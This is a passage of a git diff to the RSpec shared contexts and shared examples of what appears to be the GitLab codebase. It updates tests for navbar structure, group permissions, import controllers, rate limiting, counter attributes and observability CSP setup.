- when 'project_wiki'
- "/#{project.full_path}/-/wikis/#{project_wiki_page.slug}/preview_markdown"
- when nil
- api "/markdown"
- else
- raise "Error: 'context' extension was '#{api_context}'. It must be one of: #{supported_api_contexts.join(',')}"
- end
- end
-end
diff --git a/spec/support/shared_contexts/navbar_structure_context.rb b/spec/support/shared_contexts/navbar_structure_context.rb
index af35a5ff068..9c7cf831241 100644
--- a/spec/support/shared_contexts/navbar_structure_context.rb
+++ b/spec/support/shared_contexts/navbar_structure_context.rb
@@ -221,3 +221,46 @@ RSpec.shared_context 'group navbar structure' do
]
end
end
+
+RSpec.shared_context 'dashboard navbar structure' do
+ let(:structure) do
+ [
+ {
+ nav_item: "Your work",
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("Projects"),
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("Groups"),
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("Issues"),
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("Merge requests"),
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("To-Do List"),
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("Milestones"),
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("Snippets"),
+ nav_sub_items: []
+ },
+ {
+ nav_item: _("Activity"),
+ nav_sub_items: []
+ }
+ ]
+ end
+end
diff --git a/spec/support/shared_contexts/policies/group_policy_shared_context.rb b/spec/support/shared_contexts/policies/group_policy_shared_context.rb
index f6ac98c7669..fddcecbe125 100644
--- a/spec/support/shared_contexts/policies/group_policy_shared_context.rb
+++ b/spec/support/shared_contexts/policies/group_policy_shared_context.rb
@@ -12,7 +12,7 @@ RSpec.shared_context 'GroupPolicy context' do
let(:public_permissions) do
%i[
- read_group read_counts
+ read_group read_counts read_achievement
read_label read_issue_board_list read_milestone read_issue_board
]
end
@@ -57,6 +57,7 @@ RSpec.shared_context 'GroupPolicy context' do
create_projects
create_cluster update_cluster admin_cluster add_cluster
destroy_upload
+ admin_achievement
]
end
diff --git a/spec/support/shared_examples/analytics/cycle_analytics/parentable_examples.rb b/spec/support/shared_examples/analytics/cycle_analytics/parentable_examples.rb
new file mode 100644
index 00000000000..5fd0e685c67
--- /dev/null
+++ b/spec/support/shared_examples/analytics/cycle_analytics/parentable_examples.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'value stream analytics namespace models' do
+ let(:factory_name) { nil }
+
+ context 'when ProjectNamespace is given' do
+ it 'is valid' do
+ project_namespace = create(:project_namespace)
+ model = build(factory_name, namespace: project_namespace)
+
+ expect(model).to be_valid
+ expect(model.save).to be(true)
+ expect(model.namespace).to eq(project_namespace)
+ end
+ end
+
+ context 'when Namespace is given' do
+ it 'fails' do
+ namespace = create(:namespace)
+ model = build(factory_name, namespace: namespace)
+
+ expect(model).to be_invalid
+
+ error_message = s_('CycleAnalytics|the assigned object is not supported')
+ expect(model.errors.messages_for(:namespace)).to eq([error_message])
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb b/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
index 5506b05ca55..de38d1ff9f8 100644
--- a/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
@@ -258,7 +258,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
.to receive(:new).with(provider_repo, provider_repo[:name], user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
- post :create, format: :json
+ post :create, params: { target_namespace: user.namespace }, format: :json
expect(response).to have_gitlab_http_status(:ok)
end
@@ -272,7 +272,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
.to receive(:new).with(provider_repo, provider_repo[:name], user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
- post :create, format: :json
+ post :create, params: { target_namespace: user.namespace_path }, format: :json
expect(response).to have_gitlab_http_status(:unprocessable_entity)
expect(json_response['errors']).to eq('Name is invalid, Path is old')
@@ -286,7 +286,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
expect(store).to receive(:touch) { "realtime_changes_import_#{provider}_path" }
end
- post :create, format: :json
+ post :create, params: { target_namespace: user.namespace_path }, format: :json
end
context "when the repository owner is the provider user" do
@@ -296,7 +296,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
.to receive(:new).with(provider_repo, provider_repo[:name], user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
- post :create, format: :json
+ post :create, params: { target_namespace: user.namespace_path }, format: :json
end
end
@@ -308,7 +308,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
.to receive(:new).with(provider_repo, provider_repo[:name], user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
- post :create, format: :json
+ post :create, params: { target_namespace: user.namespace_path }, format: :json
end
end
end
@@ -333,7 +333,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
.to receive(:new).with(provider_repo, provider_repo[:name], existing_namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
- post :create, format: :json
+ post :create, params: { target_namespace: user.namespace_path }, format: :json
end
end
@@ -345,47 +345,17 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
.to receive(:new).with(provider_repo, provider_repo[:name], user.namespace, user, type: provider, **access_params)
.and_return(double(execute: project))
- post :create, format: :json
+ post :create, params: { target_namespace: user.namespace_path }, format: :json
end
end
end
context "when a namespace with the provider user's username doesn't exist" do
context "when current user can create namespaces" do
- it "creates the namespace" do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).and_return(double(execute: project))
-
- expect { post :create, params: { target_namespace: provider_repo[:name] }, format: :json }.to change { Namespace.count }.by(1)
- end
-
- it "takes the new namespace" do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo[:name], an_instance_of(Group), user, type: provider, **access_params)
- .and_return(double(execute: project))
-
- post :create, params: { target_namespace: provider_repo[:name] }, format: :json
- end
- end
-
- context "when current user can't create namespaces" do
- before do
- user.update_attribute(:can_create_group, false)
- end
-
- it "doesn't create the namespace" do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).and_return(double(execute: project))
-
- expect { post :create, format: :json }.not_to change { Namespace.count }
- end
+ it "does not create the namespace" do
+ expect(Gitlab::LegacyGithubImport::ProjectCreator).not_to receive(:new)
- it "takes the current user's namespace" do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, provider_repo[:name], user.namespace, user, type: provider, **access_params)
- .and_return(double(execute: project))
-
- post :create, format: :json
+ expect { post :create, params: { target_namespace: provider_repo[:name] }, format: :json }.not_to change { Namespace.count }
end
end
end
@@ -405,14 +375,6 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
post :create, params: { target_namespace: test_namespace.name, new_name: test_name }, format: :json
end
-
- it 'takes the selected name and default namespace' do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, user.namespace, user, type: provider, **access_params)
- .and_return(double(execute: project))
-
- post :create, params: { new_name: test_name }, format: :json
- end
end
context 'user has chosen an existing nested namespace and name for the project' do
@@ -437,31 +399,16 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
context 'user has chosen a non-existent nested namespaces and name for the project' do
let(:test_name) { 'test_name' }
- it 'takes the selected namespace and name' do
+ it 'does not take the selected namespace and name' do
expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
- .and_return(double(execute: project))
+ .not_to receive(:new)
post :create, params: { target_namespace: 'foo/bar', new_name: test_name }, format: :json
end
- it 'creates the namespaces' do
- allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
- .and_return(double(execute: project))
-
+ it 'does not create namespaces' do
expect { post :create, params: { target_namespace: 'foo/bar', new_name: test_name }, format: :json }
- .to change { Namespace.count }.by(2)
- end
-
- it 'new namespace has the right parent' do
- allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
- .and_return(double(execute: project))
-
- post :create, params: { target_namespace: 'foo/bar', new_name: test_name }, format: :json
-
- expect(Namespace.find_by_path_or_name('bar').parent.path).to eq('foo')
+ .not_to change { Namespace.count }
end
end
@@ -473,55 +420,25 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
parent_namespace.add_owner(user)
end
- it 'takes the selected namespace and name' do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
- .and_return(double(execute: project))
+ it 'does not take the selected namespace and name' do
+ expect(Gitlab::LegacyGithubImport::ProjectCreator).not_to receive(:new)
post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :json
end
- it 'creates the namespaces' do
- allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
- .and_return(double(execute: project))
-
+ it 'does not create the namespaces' do
expect { post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :json }
- .to change { Namespace.count }.by(2)
+ .not_to change { Namespace.count }
end
it 'does not create a new namespace under the user namespace' do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, user.namespace, user, type: provider, **access_params)
- .and_return(double(execute: project))
+ expect(Gitlab::LegacyGithubImport::ProjectCreator).not_to receive(:new)
expect { post :create, params: { target_namespace: "#{user.namespace_path}/test_group", new_name: test_name }, format: :js }
.not_to change { Namespace.count }
end
end
- context 'user cannot create a subgroup inside a group is not a member of' do
- let(:test_name) { 'test_name' }
- let!(:parent_namespace) { create(:group, name: 'foo') }
-
- it 'does not take the selected namespace and name' do
- expect(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, user.namespace, user, type: provider, **access_params)
- .and_return(double(execute: project))
-
- post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :js
- end
-
- it 'does not create the namespaces' do
- allow(Gitlab::LegacyGithubImport::ProjectCreator)
- .to receive(:new).with(provider_repo, test_name, kind_of(Namespace), user, type: provider, **access_params)
- .and_return(double(execute: project))
-
- expect { post :create, params: { target_namespace: 'foo/foobar/bar', new_name: test_name }, format: :js }
- .not_to change { Namespace.count }
- end
- end
-
context 'user can use a group without having permissions to create a group' do
let(:test_name) { 'test_name' }
let!(:group) { create(:group, name: 'foo') }
diff --git a/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb b/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb
index 02915206cc5..446bc4cd92f 100644
--- a/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/issuables_list_metadata_shared_examples.rb
@@ -42,6 +42,10 @@ RSpec.shared_examples 'issuables list meta-data' do |issuable_type, action = nil
let(:result_issuable) { issuables.first }
let(:search) { result_issuable.title }
+ before do
+ stub_application_setting(search_rate_limit: 0, search_rate_limit_unauthenticated: 0)
+ end
+
# .simple_sorts is the same across all Sortable classes
sorts = ::Issue.simple_sorts.keys + %w[popularity priority label_priority]
sorts.each do |sort|
diff --git a/spec/support/shared_examples/controllers/rate_limited_endpoint_shared_examples.rb b/spec/support/shared_examples/controllers/rate_limited_endpoint_shared_examples.rb
index 20edca1ee9f..b34038ca0e4 100644
--- a/spec/support/shared_examples/controllers/rate_limited_endpoint_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/rate_limited_endpoint_shared_examples.rb
@@ -5,7 +5,9 @@
# - current_user
# - error_message # optional
-RSpec.shared_examples 'rate limited endpoint' do |rate_limit_key:|
+RSpec.shared_examples 'rate limited endpoint' do |rate_limit_key:, graphql: false|
+ let(:error_message) { _('This endpoint has been requested too many times. Try again later.') }
+
context 'when rate limiter enabled', :freeze_time, :clean_gitlab_redis_rate_limiting do
let(:expected_logger_attributes) do
{
@@ -25,8 +27,6 @@ RSpec.shared_examples 'rate limited endpoint' do |rate_limit_key:|
end
end
- let(:error_message) { _('This endpoint has been requested too many times. Try again later.') }
-
before do
allow(Gitlab::ApplicationRateLimiter).to receive(:threshold).with(rate_limit_key).and_return(1)
end
@@ -37,12 +37,16 @@ RSpec.shared_examples 'rate limited endpoint' do |rate_limit_key:|
request
request
- expect(response).to have_gitlab_http_status(:too_many_requests)
+ if graphql
+ expect_graphql_errors_to_include(error_message)
+ else
+ expect(response).to have_gitlab_http_status(:too_many_requests)
- if example.metadata[:type] == :controller
- expect(response.body).to eq(error_message)
- else # it is API spec
- expect(response.body).to eq({ message: { error: error_message } }.to_json)
+ if response.content_type == 'application/json' # it is API spec
+ expect(response.body).to eq({ message: { error: error_message } }.to_json)
+ else
+ expect(response.body).to eq(error_message)
+ end
end
end
end
@@ -57,7 +61,11 @@ RSpec.shared_examples 'rate limited endpoint' do |rate_limit_key:|
request
- expect(response).not_to have_gitlab_http_status(:too_many_requests)
+ if graphql
+ expect_graphql_errors_to_be_empty
+ else
+ expect(response).not_to have_gitlab_http_status(:too_many_requests)
+ end
end
end
end
diff --git a/spec/support/shared_examples/features/code_highlight_shared_examples.rb b/spec/support/shared_examples/features/code_highlight_shared_examples.rb
new file mode 100644
index 00000000000..3917ac9b489
--- /dev/null
+++ b/spec/support/shared_examples/features/code_highlight_shared_examples.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'code highlight' do
+ include PreferencesHelper
+
+ let_it_be(:current_user) { user }
+ let_it_be(:scheme_class) { user_color_scheme }
+
+ it 'has highlighted code', :js do
+ wait_for_requests
+ expect(subject).to have_selector(".js-syntax-highlight.#{scheme_class}")
+ end
+end
diff --git a/spec/support/shared_examples/features/content_editor_shared_examples.rb b/spec/support/shared_examples/features/content_editor_shared_examples.rb
index efdf7513b2d..6cd9c4ce1c4 100644
--- a/spec/support/shared_examples/features/content_editor_shared_examples.rb
+++ b/spec/support/shared_examples/features/content_editor_shared_examples.rb
@@ -4,7 +4,8 @@ RSpec.shared_examples 'edits content using the content editor' do
let(:content_editor_testid) { '[data-testid="content-editor"] [contenteditable].ProseMirror' }
def switch_to_content_editor
- find('[data-testid="toggle-editing-mode-button"] label', text: 'Rich text').click
+ click_button _('View rich text')
+ click_button _('Rich text')
end
def type_in_content_editor(keys)
diff --git a/spec/support/shared_examples/features/dashboard/sidebar_shared_examples.rb b/spec/support/shared_examples/features/dashboard/sidebar_shared_examples.rb
new file mode 100644
index 00000000000..efbd735c451
--- /dev/null
+++ b/spec/support/shared_examples/features/dashboard/sidebar_shared_examples.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples "a dashboard page with sidebar" do |page_path, menu_label|
+ before do
+ sign_in(user)
+ visit send(page_path)
+ end
+
+ let(:sidebar_css) { "aside.nav-sidebar[aria-label=\"Your work\"]" }
+ let(:active_menu_item_css) { "li.active[data-track-label=\"#{menu_label}_menu\"]" }
+
+ it "shows the \"Your work\" sidebar" do
+ expect(page).to have_css(sidebar_css)
+ end
+
+ it "shows the correct sidebar menu item as active" do
+ within(sidebar_css) do
+ expect(page).to have_css(active_menu_item_css)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/reportable_note_shared_examples.rb b/spec/support/shared_examples/features/reportable_note_shared_examples.rb
index c35f711111b..9d859403465 100644
--- a/spec/support/shared_examples/features/reportable_note_shared_examples.rb
+++ b/spec/support/shared_examples/features/reportable_note_shared_examples.rb
@@ -36,7 +36,7 @@ RSpec.shared_examples 'reportable note' do |type|
dropdown.click_link('Report abuse to administrator')
expect(find('#user_name')['value']).to match(note.author.username)
- expect(find('#abuse_report_message')['value']).to match(noteable_note_url(note))
+ expect(find('#abuse_report_reported_from_url')['value']).to match(noteable_note_url(note))
end
def open_dropdown(dropdown)
diff --git a/spec/support/shared_examples/finders/issues_finder_shared_examples.rb b/spec/support/shared_examples/finders/issues_finder_shared_examples.rb
index 9d1f05d5543..6f4072ba762 100644
--- a/spec/support/shared_examples/finders/issues_finder_shared_examples.rb
+++ b/spec/support/shared_examples/finders/issues_finder_shared_examples.rb
@@ -550,6 +550,24 @@ RSpec.shared_examples 'issues or work items finder' do |factory, execute_context
expect(items).to contain_exactly(item1, item4, item5)
end
end
+
+ context 'using OR' do
+ let(:params) { { or: { label_name: [label.title, label2.title].join(',') } } }
+
+ it 'returns items that have at least one of the given labels' do
+ expect(items).to contain_exactly(item2, item3)
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(or_issuable_queries: false)
+ end
+
+ it 'does not add any filter' do
+ expect(items).to contain_exactly(item1, item2, item3, item4, item5)
+ end
+ end
+ end
end
context 'filtering by a label that includes any or none in the title' do
diff --git a/spec/support/shared_examples/graphql/types/merge_request_interactions_type_shared_examples.rb b/spec/support/shared_examples/graphql/types/merge_request_interactions_type_shared_examples.rb
index 0d0dbb112de..19ceb465383 100644
--- a/spec/support/shared_examples/graphql/types/merge_request_interactions_type_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/types/merge_request_interactions_type_shared_examples.rb
@@ -14,7 +14,10 @@ RSpec.shared_examples "a user type with merge request interaction type" do
name
username
email
+ emails
publicEmail
+ commitEmail
+ namespaceCommitEmails
avatarUrl
webUrl
webPath
diff --git a/spec/support/shared_examples/lib/sidebars/your_work/menus/menu_item_examples.rb b/spec/support/shared_examples/lib/sidebars/your_work/menus/menu_item_examples.rb
new file mode 100644
index 00000000000..19c94a3ba5b
--- /dev/null
+++ b/spec/support/shared_examples/lib/sidebars/your_work/menus/menu_item_examples.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.shared_examples 'menu item shows pill based on count' do |count|
+ describe '#has_pill?' do
+ context 'when count is zero' do
+ it 'returns false' do
+ allow(user).to receive(count).and_return(0)
+ expect(subject.has_pill?).to eq false
+ end
+ end
+
+ context 'when count is larger than zero' do
+ it 'returns true' do
+ allow(user).to receive(count).and_return(3)
+ expect(subject.has_pill?).to eq true
+ end
+ end
+ end
+
+ describe '#pill_count' do
+ it "returns the #{count} of the user" do
+ allow(user).to receive(count).and_return(123)
+ expect(subject.pill_count).to eq 123
+ end
+
+ it 'memoizes the query' do
+ subject.pill_count
+
+ control = ActiveRecord::QueryRecorder.new do
+ subject.pill_count
+ end
+
+ expect(control.count).to eq 0
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/concerns/counter_attribute_shared_examples.rb b/spec/support/shared_examples/models/concerns/counter_attribute_shared_examples.rb
index a20bb794095..f98be12523d 100644
--- a/spec/support/shared_examples/models/concerns/counter_attribute_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/counter_attribute_shared_examples.rb
@@ -14,13 +14,14 @@ RSpec.shared_examples_for CounterAttribute do |counter_attributes|
counter_attributes.each do |attribute|
describe attribute do
describe '#increment_counter', :redis do
- let(:increment) { 10 }
+ let(:amount) { 10 }
+ let(:increment) { Gitlab::Counters::Increment.new(amount: amount) }
let(:counter_key) { model.counter(attribute).key }
subject { model.increment_counter(attribute, increment) }
context 'when attribute is a counter attribute' do
- where(:increment) { [10, -3] }
+ where(:amount) { [10, -3] }
with_them do
it 'increments the counter in Redis and logs it' do
@@ -29,8 +30,8 @@ RSpec.shared_examples_for CounterAttribute do |counter_attributes|
message: 'Increment counter attribute',
attribute: attribute,
project_id: model.project_id,
- increment: increment,
- new_counter_value: 0 + increment,
+ increment: amount,
+ new_counter_value: 0 + amount,
current_db_value: model.read_attribute(attribute),
'correlation_id' => an_instance_of(String),
'meta.feature_category' => 'test',
@@ -42,7 +43,7 @@ RSpec.shared_examples_for CounterAttribute do |counter_attributes|
Gitlab::Redis::SharedState.with do |redis|
counter = redis.get(counter_key)
- expect(counter).to eq(increment.to_s)
+ expect(counter).to eq(amount.to_s)
end
end
@@ -59,8 +60,8 @@ RSpec.shared_examples_for CounterAttribute do |counter_attributes|
end
end
- context 'when increment is 0' do
- let(:increment) { 0 }
+ context 'when increment amount is 0' do
+ let(:amount) { 0 }
it 'does nothing' do
expect(FlushCounterIncrementsWorker).not_to receive(:perform_in)
@@ -71,37 +72,49 @@ RSpec.shared_examples_for CounterAttribute do |counter_attributes|
end
end
end
- end
- end
- describe '#reset_counter!' do
- let(:attribute) { counter_attributes.first }
- let(:counter_key) { model.counter(attribute).key }
+ describe '#bulk_increment_counter', :redis do
+ let(:increments) { [Gitlab::Counters::Increment.new(amount: 10), Gitlab::Counters::Increment.new(amount: 5)] }
+ let(:total_amount) { increments.sum(&:amount) }
+ let(:counter_key) { model.counter(attribute).key }
- before do
- model.update!(attribute => 123)
- model.increment_counter(attribute, 10)
- end
+ subject { model.bulk_increment_counter(attribute, increments) }
- subject { model.reset_counter!(attribute) }
+ context 'when attribute is a counter attribute' do
+ it 'increments the counter in Redis and logs it' do
+ expect(Gitlab::AppLogger).to receive(:info).with(
+ hash_including(
+ message: 'Increment counter attribute',
+ attribute: attribute,
+ project_id: model.project_id,
+ increment: total_amount,
+ new_counter_value: 0 + total_amount,
+ current_db_value: model.read_attribute(attribute),
+ 'correlation_id' => an_instance_of(String),
+ 'meta.feature_category' => 'test',
+ 'meta.caller_id' => 'caller'
+ )
+ )
- it 'resets the attribute value to 0 and clears existing counter', :aggregate_failures do
- expect { subject }.to change { model.reload.send(attribute) }.from(123).to(0)
+ subject
- Gitlab::Redis::SharedState.with do |redis|
- key_exists = redis.exists?(counter_key)
- expect(key_exists).to be_falsey
- end
- end
+ Gitlab::Redis::SharedState.with do |redis|
+ counter = redis.get(counter_key)
+ expect(counter).to eq(total_amount.to_s)
+ end
+ end
- it_behaves_like 'obtaining lease to update database' do
- context 'when the execution raises error' do
- before do
- allow(model).to receive(:update!).and_raise(StandardError, 'Something went wrong')
- end
+ it 'does not increment the counter for the record' do
+ expect { subject }.not_to change { model.reset.read_attribute(attribute) }
+ end
- it 'reraises error' do
- expect { subject }.to raise_error(StandardError, 'Something went wrong')
+ it 'schedules a worker to flush counter increments asynchronously' do
+ expect(FlushCounterIncrementsWorker).to receive(:perform_in)
+ .with(Gitlab::Counters::BufferedCounter::WORKER_DELAY, model.class.name, model.id, attribute)
+ .and_call_original
+
+ subject
+ end
end
end
end
diff --git a/spec/support/shared_examples/models/concerns/integrations/reset_secret_fields_shared_examples.rb b/spec/support/shared_examples/models/concerns/integrations/reset_secret_fields_shared_examples.rb
index 873f858e432..c51a6c4f6fd 100644
--- a/spec/support/shared_examples/models/concerns/integrations/reset_secret_fields_shared_examples.rb
+++ b/spec/support/shared_examples/models/concerns/integrations/reset_secret_fields_shared_examples.rb
@@ -42,7 +42,7 @@ RSpec.shared_examples Integrations::ResetSecretFields do
# Treat values as persisted
integration.reset_updated_properties
- integration.instance_variable_set('@old_data_fields', nil) if integration.supports_data_fields?
+ integration.instance_variable_set(:@old_data_fields, nil) if integration.supports_data_fields?
end
context 'when an exposing field has changed' do
diff --git a/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb b/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb
index 457ee49938f..5eeefacdeb9 100644
--- a/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb
+++ b/spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb
@@ -25,7 +25,7 @@ RSpec.shared_examples 'value stream analytics stage' do
stage = described_class.new(valid_params.except(:parent))
expect(stage).to be_invalid
- expect(stage.errors[parent_name]).to include("can't be blank")
+ expect(stage.errors[parent_name]).to include('must exist')
end
it 'validates presence of start_event_identifier' do
diff --git a/spec/support/shared_examples/models/member_shared_examples.rb b/spec/support/shared_examples/models/member_shared_examples.rb
index f8cff5c5558..7159c55e303 100644
--- a/spec/support/shared_examples/models/member_shared_examples.rb
+++ b/spec/support/shared_examples/models/member_shared_examples.rb
@@ -207,16 +207,14 @@ RSpec.shared_examples_for "member creation" do
source.request_access(user)
end
- it 'does not add the requester as a regular member', :aggregate_failures do
+ it 'adds the requester as a member', :aggregate_failures do
expect(source.users).not_to include(user)
- expect(source.requesters.exists?(user_id: user)).to be_truthy
+ expect(source.requesters.exists?(user_id: user)).to eq(true)
- expect do
- described_class.add_member(source, user, :maintainer)
- end.to raise_error(Gitlab::Access::AccessDeniedError)
+ described_class.add_member(source, user, :maintainer)
- expect(source.users.reload).not_to include(user)
- expect(source.requesters.reload.exists?(user_id: user)).to be_truthy
+ expect(source.users.reload).to include(user)
+ expect(source.requesters.reload.exists?(user_id: user)).to eq(false)
end
end
diff --git a/spec/support/shared_examples/models/members_notifications_shared_example.rb b/spec/support/shared_examples/models/members_notifications_shared_example.rb
index e74aab95e46..e28220334ac 100644
--- a/spec/support/shared_examples/models/members_notifications_shared_example.rb
+++ b/spec/support/shared_examples/models/members_notifications_shared_example.rb
@@ -51,7 +51,7 @@ RSpec.shared_examples 'members notifications' do |entity_type|
it "calls NotificationService.new_#{entity_type}_member" do
expect(notification_service).to receive(:"new_#{entity_type}_member").with(member)
- member.accept_request
+ member.accept_request(create(:user))
end
end
diff --git a/spec/support/shared_examples/models/relative_positioning_shared_examples.rb b/spec/support/shared_examples/models/relative_positioning_shared_examples.rb
index b8d12a6da59..2b46c8c8fb9 100644
--- a/spec/support/shared_examples/models/relative_positioning_shared_examples.rb
+++ b/spec/support/shared_examples/models/relative_positioning_shared_examples.rb
@@ -20,6 +20,7 @@ RSpec.shared_examples 'a class that supports relative positioning' do
let(:new_item) { create_item(relative_position: nil) }
let(:set_size) { RelativePositioning.mover.context(item1).scoped_items.count }
+ let(:items_with_nil_position_sample_quantity) { 101 }
def create_item(params = {})
create(factory, params.merge(default_params))
@@ -163,7 +164,7 @@ RSpec.shared_examples 'a class that supports relative positioning' do
end
it 'can move many nulls' do
- nils = create_items_with_positions([nil] * 101)
+ nils = create_items_with_positions([nil] * items_with_nil_position_sample_quantity)
described_class.move_nulls_to_end(nils)
diff --git a/spec/support/shared_examples/models/resource_event_shared_examples.rb b/spec/support/shared_examples/models/resource_event_shared_examples.rb
index 80806ee768a..8cab2de076d 100644
--- a/spec/support/shared_examples/models/resource_event_shared_examples.rb
+++ b/spec/support/shared_examples/models/resource_event_shared_examples.rb
@@ -161,3 +161,15 @@ RSpec.shared_examples 'a resource event for merge requests' do
end
end
end
+
+RSpec.shared_examples 'a note for work item resource event' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:work_item) { create(:work_item, :task, project: project, author: user) }
+
+ it 'builds synthetic note with correct synthetic_note_class' do
+ event = build(described_class.name.underscore.to_sym, issue: work_item)
+
+ expect(event.work_item_synthetic_system_note.class.name).to eq(event.synthetic_note_class.name)
+ end
+end
diff --git a/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb b/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb
index eb742921d35..5aaa93aecef 100644
--- a/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb
+++ b/spec/support/shared_examples/models/update_project_statistics_shared_examples.rb
@@ -60,8 +60,11 @@ RSpec.shared_examples 'UpdateProjectStatistics' do |with_counter_attribute|
end
it 'stores pending increments for async update' do
+ expected_increment = have_attributes(amount: delta, ref: subject.id)
+
expect(ProjectStatistics)
.to receive(:increment_statistic)
+ .with(project, project_statistics_name, expected_increment)
.and_call_original
subject.write_attribute(statistic_attribute, read_attribute + delta)
@@ -108,11 +111,8 @@ RSpec.shared_examples 'UpdateProjectStatistics' do |with_counter_attribute|
end
context 'when it is destroyed from the project level' do
- it 'does not update the project statistics' do
- expect(ProjectStatistics)
- .not_to receive(:increment_statistic)
-
- expect(Projects::DestroyService.new(project, project.first_owner).execute).to eq(true)
+ it 'does not store pending increments for async update' do
+ expect { Projects::DestroyService.new(project, project.first_owner).execute }.not_to change { read_pending_increment }
end
it 'does not schedule a namespace statistics worker' do
diff --git a/spec/support/shared_examples/namespaces/members.rb b/spec/support/shared_examples/namespaces/members.rb
new file mode 100644
index 00000000000..ed1ea23226c
--- /dev/null
+++ b/spec/support/shared_examples/namespaces/members.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'query without source filters' do
+ it do
+ expect(subject.where_values_hash.keys).not_to include('source_id', 'source_type')
+ end
+end
+
+RSpec.shared_examples 'query with source filters' do
+ it do
+ expect(subject.where_values_hash.keys).to include('source_id', 'source_type')
+ end
+end
diff --git a/spec/support/shared_examples/observability/csp_shared_examples.rb b/spec/support/shared_examples/observability/csp_shared_examples.rb
index 868d7023d14..0cd211f69eb 100644
--- a/spec/support/shared_examples/observability/csp_shared_examples.rb
+++ b/spec/support/shared_examples/observability/csp_shared_examples.rb
@@ -2,9 +2,17 @@
# Verifies that the proper CSP rules for Observabilty UI are applied to a given controller/path
#
-# The path under test needs to be declared with `let(:tested_path) { .. }` in the context including this example
+# It requires the following variables declared in the context including this example:
+#
+# - `tested_path`: the path under test
+# - `user`: the test user
+# - `group`: the test group
+#
+# e.g.
#
# ```
+# let_it_be(:group) { create(:group) }
+# let_it_be(:user) { create(:user) }
# it_behaves_like "observability csp policy" do
# let(:tested_path) { ....the path under test }
# end
@@ -33,6 +41,9 @@ RSpec.shared_examples 'observability csp policy' do |controller_class = describe
before do
setup_csp_for_controller(controller_class, csp, any_time: true)
+ group.add_developer(user)
+ login_as(user)
+ allow(Gitlab::Observability).to receive(:observability_enabled?).and_return(true)
end
subject do
